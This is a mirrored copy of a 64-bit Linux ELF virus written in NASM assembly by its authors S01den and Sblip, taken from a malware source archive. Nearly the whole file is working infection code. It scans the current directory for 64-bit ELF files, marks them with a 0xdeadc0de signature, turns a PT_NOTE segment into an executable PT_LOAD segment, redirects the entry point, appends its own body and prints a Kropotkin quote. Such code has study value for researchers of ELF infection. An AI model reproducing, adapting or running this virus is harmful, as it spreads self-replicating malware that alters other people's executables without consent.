mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
399 lines
12 KiB
NASM
399 lines
12 KiB
NASM
;####################################
|
|
;## A 64 bit ELF virus ##
|
|
;## By S01den and Sblip ##
|
|
;####################################
|
|
|
|
; This non-destructive (all data is recoverable) Proof of Concept vx infects Position Independant Executables, and is written in pure assembly.
|
|
; It works on traditional ELF binaries, as well as those with --separate-code (4 PT_LOAD segments)
|
|
; Enjoy the reading ;)
|
|
; Don t spread this into the wild
|
|
; we don t take responsibility for what you do with this
|
|
|
|
;.____ .__ ________ _____ ____ __. __ __ .__
|
|
;| | |__| ____ / _____/ / | | | |/ _|______ ____ ______ _____/ |_| | _|__| ____ ____
|
|
;| | | |/ \/ __ \ / | |_ | < \_ __ \/ _ \\____ \ / _ \ __\ |/ / |/ \_/ __ \
|
|
;| |___| | | \ |__\ \/ ^ / | | \ | | \( <_> ) |_> > <_> ) | | <| | | \ ___/
|
|
;|_______ \__|___| /\_____ /\____ | /\ |____|__ \|__| \____/| __/ \____/|__| |__|_ \__|___| /\___ >
|
|
; \/ \/ \/ |__| \/ \/ |__| \/ \/ \/
|
|
|
|
; Infection through PT_NOTE infection. Made with love by S01den and Sblip
|
|
; The payload prints a random quote of Peter Kropotkin (an anarcho-communist philosopher)
|
|
|
|
;#################################### USEFUL LINKS ###############################
|
|
;# https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/ #
|
|
;# https://github.com/Binject/binjection/blob/master/bj/inject_elf.go#L139 #
|
|
;# https://filippo.io/linux-syscall-table/ #
|
|
;# https://theanarchistlibrary.org/library/petr-kropotkin-the-conquest-of-bread #
|
|
;#################################################################################
|
|
|
|
; Build command: nasm -f elf64 kropotkine.s ; ld kropotkine.o -o kropotkine
|
|
|
|
; long live to the vx scene and Hasta siempre !
|
|
|
|
;---------------------------------- CUT HERE ----------------------------------
|
|
|
|
; some structs, thanks https://en.wikipedia.org/wiki/Executable_and_Linkable_Format !
|
|
|
|
struc STAT
|
|
.st_dev resq 1
|
|
.st_ino resq 1
|
|
.st_nlink resq 1
|
|
.st_mode resd 1
|
|
.st_uid resd 1
|
|
.st_gid resd 1
|
|
.pad0 resb 4
|
|
.st_rdev resq 1
|
|
.st_size resq 1
|
|
.st_blksize resq 1
|
|
.st_blocks resq 1
|
|
.st_atime resq 1
|
|
.st_atime_nsec resq 1
|
|
.st_mtime resq 1
|
|
.st_mtime_nsec resq 1
|
|
.st_ctime resq 1
|
|
.st_ctime_nsec resq 1
|
|
endstruc
|
|
|
|
struc e_hdr
|
|
.magic resd 1 ; 0x7F followed by ELF(45 4c 46) in ASCII; these four bytes constitute the magic number.
|
|
.class resb 1 ; This byte is set to either 1 or 2 to signify 32- or 64-bit format, respectively.
|
|
.data resb 1 ; This byte is set to either 1 or 2 to signify little or big endianness, respectively. This affects interpretation of multi-byte fields starting with offset 0x10.
|
|
.elf_version resb 1 ; Set to 1 for the original and current version of ELF.
|
|
.os resb 1 ; Identifies the target operating system ABI.
|
|
.abi_version resb 1
|
|
.padding resb 7 ; currently unused, should be filled with zeros. <--------- that will be the place where we will put out signature
|
|
.type resb 2 ; Identifies object file type.
|
|
.machine resb 2 ; Specifies target instruction set architecture.
|
|
.e_version resb 4 ; Set to 1 for the original version of ELF.
|
|
.entry resq 1 ; this is the entry point
|
|
.phoff resq 1 ; Points to the start of the program header table.
|
|
.shoff resq 1 ; Points to the start of the section header table.
|
|
.flags resb 4 ; Interpretation of this field depends on the target architecture.
|
|
.ehsize resb 2 ; Contains the size of this header, normally 64 Bytes for 64-bit and 52 Bytes for 32-bit format.
|
|
.phentsize resb 2 ; Contains the size of a program header table entry.
|
|
.phnum resb 2 ; Contains the number of entries in the program header table.
|
|
.shentsize resb 2 ; Contains the size of a section header table entry.
|
|
.shnum resb 2 ; Contains the number of entries in the section header table.
|
|
.shstrndx resb 2 ; Contains index of the section header table entry that contains the section names.
|
|
.end resb 1
|
|
endstruc
|
|
|
|
struc e_phdr
|
|
.type resb 4 ; Identifies the type of the segment. (The number which interest us are: 0 = PT_NULL | 1 = PT_LOAD | 2 = PT_DYNAMIC | 4 = PT_NOTE)
|
|
.flags resd 1 ; Segment-dependent flags (position for 64-bit structure).
|
|
.offset resq 1 ; Offset of the segment in the file image.
|
|
.vaddr resq 1 ; Virtual address of the segment in memory.
|
|
.paddr resq 1 ; On systems where physical address is relevant, reserved for segments physical address.
|
|
.filesz resq 1 ; Size in bytes of the segment in the file image.
|
|
.memsz resq 1 ; Size in bytes of the segment in memory.
|
|
.align resq 1 ; 0 and 1 specify no alignment. Otherwise should be a positive, integral power of 2, with p_vaddr equating p_offset modulus p_align.
|
|
.end resb 1
|
|
endstruc
|
|
|
|
struc e_shdr
|
|
.name resb 4 ; An offset to a string in the .shstrtab section that represents the name of this section.
|
|
.type resb 4 ; Identifies the type of this header.
|
|
.flags resq 1 ; Identifies the attributes of the section.
|
|
.addr resq 1 ; Virtual address of the section in memory, for sections that are loaded.
|
|
.offset resq 1 ; Offset of the section in the file image.
|
|
.size resq 1 ; Size in bytes of the section in the file image.
|
|
.link resb 4
|
|
.info resb 4
|
|
.addralign resq 1 ; Contains the required alignment of the section.
|
|
.entsize resq 1 ; Contains the size, in bytes, of each entry, for sections that contain fixed-size entries.
|
|
.end resb 1
|
|
endstruc
|
|
|
|
%define VXSIZE 0x508
|
|
%define BUFFSIZE 1024
|
|
|
|
section .text
|
|
global _start
|
|
|
|
_start:
|
|
|
|
mov r14, rsp
|
|
add rsp, VXSIZE
|
|
mov r15, rsp
|
|
|
|
getVirus: ; first we get the vx code (thanks to the same method I used in Linux.Proudhon.i386)
|
|
call get_eip
|
|
sub rax, 0x12
|
|
mov cl, byte [rax+rbx]
|
|
mov byte [rsp+rbx], cl
|
|
inc rbx
|
|
cmp rbx, VXSIZE
|
|
jne getVirus
|
|
call clean
|
|
|
|
add rsp, VXSIZE
|
|
add rsp, VXSIZE
|
|
add rsp, 0x100
|
|
|
|
jmp getdot
|
|
|
|
main:
|
|
pop rdi
|
|
mov rax, 2 ; open syscall
|
|
xor rsi,rsi ; flags = rdonly
|
|
syscall ; and awaaaaay we go
|
|
|
|
; we use the stack to hold dirents
|
|
|
|
mov rdi, rax
|
|
mov rax, 217
|
|
mov rsi, rsp
|
|
mov rdx, BUFFSIZE
|
|
syscall
|
|
|
|
cmp rax, 0
|
|
jl exit
|
|
|
|
mov r13, rax
|
|
|
|
xor rbx, rbx
|
|
loop:
|
|
|
|
mov rax, rsp
|
|
add rax, 0x13 ; d_name
|
|
|
|
; write the name
|
|
mov rsi, rax
|
|
mov rdi, 1
|
|
|
|
xor rcx, rcx
|
|
mov cl, byte [rsp+0x12] ; rcx now contains the type of data (directory or file)
|
|
|
|
push rbx
|
|
|
|
call infect
|
|
pop rbx
|
|
|
|
mov ax, [rsp+0x10] ; the buffer position += d_reclen
|
|
add rbx, rax
|
|
add rsp, rax
|
|
|
|
cmp rbx, r13
|
|
jl loop
|
|
jmp exit
|
|
|
|
infect:
|
|
mov rbp, rsp
|
|
cmp rcx, 0x8 ; check if the thing we will try to inject is a file or a directory (0x4 = dir | 0x8 = file)
|
|
jne end
|
|
|
|
; open the file
|
|
mov rdi, rsi
|
|
mov rax, 2
|
|
mov rsi, 0x402 ; RW mode
|
|
syscall
|
|
|
|
cmp rax, 0
|
|
jng end
|
|
|
|
mov rbx, rax
|
|
|
|
; stat the file to know its length
|
|
mov rsi, rsp
|
|
sub rsi, r13
|
|
mov rax, 4
|
|
syscall
|
|
|
|
; mmap the file
|
|
mov r8, rbx ; the fd
|
|
mov rsi, [rsi+STAT.st_size] ; the len
|
|
|
|
mov rdi, 0 ; we write this shit on the stack
|
|
mov rdx, 6 ; protect RW = PROT_READ (0x04) | PROT_WRITE (0x02)
|
|
xor r9, r9 ; r9 = 0 <=> offset_start = 0
|
|
mov r10, 0x1 ; flag = MAP_SHARED
|
|
xor rax, rax
|
|
mov rax, 9 ; mmap syscall number
|
|
syscall
|
|
|
|
; rax now contains the addr where the file is mapped
|
|
|
|
cmp dword [rax+e_hdr.magic], 0x464c457f ; check if the file is an ELF
|
|
je get_bits
|
|
|
|
end:
|
|
mov rax, 3 ; close
|
|
mov rdi, rbx
|
|
syscall
|
|
xor rax, rax
|
|
; epilogue
|
|
mov rsp, rbp
|
|
ret
|
|
|
|
get_bits: ; check if the binary is 64 bits
|
|
cmp byte [rax+e_hdr.class], 2
|
|
je check_signature
|
|
jmp end
|
|
|
|
check_signature:
|
|
cmp dword [rax+e_hdr.padding], 0xdeadc0de ; the signature (to check if a file is already infected)
|
|
jne parse_phdr
|
|
xor rax, rax
|
|
; epilogue
|
|
mov rsp, rbp
|
|
ret
|
|
|
|
parse_phdr:
|
|
xor rcx, rcx
|
|
xor rdx, rdx
|
|
mov cx, word [rax+e_hdr.phnum] ; rcx contains the number of entries in the program header table
|
|
mov rbx, qword [rax+e_hdr.phoff] ; rbx contains the offset of the program header table
|
|
mov dx, word [rax+e_hdr.phentsize] ; rdx contains the size of an entry in the program header table
|
|
|
|
loop_phdr:
|
|
add rbx, rdx
|
|
dec rcx
|
|
cmp dword [rax+rbx+e_phdr.type], 0x4
|
|
je pt_note_found
|
|
cmp rcx, 0
|
|
jg loop_phdr
|
|
|
|
pt_note_found:
|
|
; Now, we finally infect the file !
|
|
|
|
mov dword [rax+e_hdr.padding], 0xdeadc0de ; write the signature of the virus
|
|
mov dword [rax+rbx+e_phdr.type], 0x01 ; change to PT_LOAD
|
|
mov dword [rax+rbx+e_phdr.flags], 0x07 ; Change the memory protections for this segment to allow executable instructions (0x07 = PT_R | PT_X | PT_W)
|
|
mov r9, 0xc000000
|
|
add r9, rsi ; the new entry point (= a virtual address far from the end of the original program)
|
|
mov r12, qword [rax+e_hdr.entry] ; save the OEP in r12
|
|
mov qword [rax+e_hdr.entry], r9
|
|
mov qword [rax+rbx+e_phdr.vaddr], r9
|
|
|
|
; here we write the code to resolve and return to the OEP
|
|
; FUCK THE PIE !!
|
|
; read "Note on resolving Elf_Hdr->e_entry in PIEexecutables" from elfmaster (https://bitlackeys.org/papers/pocorgtfo20.pdf)
|
|
|
|
mov rcx, r15
|
|
add rcx, VXSIZE
|
|
mov dword [rcx], 0xffffeee8 ; relative call to get_eip
|
|
mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
|
|
mov byte [rcx+8], 0x00000005
|
|
mov word [rcx+11], 0x0002d48
|
|
mov qword [rcx+13], r9 ; sub rax, entry0
|
|
mov word [rcx+17], 0x0000548
|
|
mov qword [rcx+19], r12 ; add rax, sym._start
|
|
mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14
|
|
mov word [rcx+27], 0x00e0 ; jmp rax
|
|
|
|
mov rdi, qword [rax+rbx+e_phdr.filesz] ; p.Filesz += injectSize
|
|
add rdi, VXSIZE
|
|
mov qword [rax+rbx+e_phdr.filesz], rdi
|
|
|
|
mov rdi, qword [rax+rbx+e_phdr.memsz] ; p.Memsz += injectSize
|
|
add rdi, VXSIZE
|
|
mov qword [rax+rbx+e_phdr.memsz], rdi
|
|
|
|
mov qword [rax+rbx+e_phdr.offset], rsi ; p.Off = uint64(fsize)
|
|
|
|
mov rdx, 4
|
|
mov rdi, rax
|
|
mov rax, 26
|
|
syscall ; msync syscall: apply the change to the file
|
|
|
|
mov rax, 11
|
|
syscall ; munmap
|
|
|
|
mov rdi, r8
|
|
mov rsi, r15
|
|
mov rdx, VXSIZE
|
|
add rdx, 46
|
|
mov rax, 1 ; write the vx
|
|
syscall
|
|
|
|
mov rax, 3 ; close
|
|
syscall
|
|
|
|
; epilogue
|
|
mov rsp, rbp
|
|
ret
|
|
|
|
payload:
|
|
mov rax, 201 ; time syscall
|
|
xor rdi, rdi
|
|
syscall
|
|
|
|
xor rdx, rdx ; get the modulo 10
|
|
mov rcx, 0x9
|
|
div rcx
|
|
mov rax, rdx
|
|
inc rax
|
|
|
|
xor rcx, rcx
|
|
xor rbx, rbx
|
|
|
|
jmp pushQuote
|
|
|
|
get_quote:
|
|
pop rsi
|
|
|
|
loop_quote:
|
|
mov byte bl, [rsi]
|
|
|
|
inc rcx
|
|
cmp rcx, rax
|
|
je print_quote
|
|
add rsi, rbx
|
|
jmp loop_quote
|
|
|
|
print_quote:
|
|
xor rdx, rdx
|
|
mov rax, 1 ; print the quote
|
|
mov rdi, 1
|
|
mov byte dl, [rsi]
|
|
dec dl
|
|
inc rsi
|
|
syscall
|
|
|
|
ret
|
|
|
|
exit:
|
|
call payload
|
|
call clean
|
|
call get_eip
|
|
add rax, 0x29c ; go to the restore OEP code
|
|
jmp rax
|
|
|
|
clean:
|
|
xor rcx, rcx
|
|
xor rbx, rbx
|
|
xor rax, rax
|
|
xor rdx, rdx
|
|
ret
|
|
|
|
pushQuote:
|
|
call get_quote
|
|
db 36,'Well-being for all is not a dream.',10
|
|
db 65,'The hopeless dont revolt, because revolution is an act of hope.',10
|
|
db 47,'here there is authority, there is no freedom.',10
|
|
db 61,'Prisons are universities of crime, maintained by the state.',10
|
|
db 68,'Poverty, the existence of the poor, was the first cause of riches.',10
|
|
db 63,'Revolutions, we must remember, are always made by minorities.',10
|
|
db 39,'Variety is life, uniformity is death.',10
|
|
db 70,'It is futile to speak of liberty as long as economic slavery exists.',10
|
|
db 16,'All is for all',10
|
|
db 162,'In the long run the practice of solidarity proves much more advantageous to the species than the development of individuals endowed with predatory inclinations.',10
|
|
dw 0x0
|
|
|
|
|
|
get_eip:
|
|
mov rax, [rsp]
|
|
ret
|
|
|
|
getdot:
|
|
call main
|
|
db '.'
|
|
dw 0x0
|
|
|
|
eof:
|
|
mov rax, 60
|
|
xor rdi, rdi
|
|
syscall
|
|
|
|
;--------------------------------------------------------------------------------------------------------------------------
|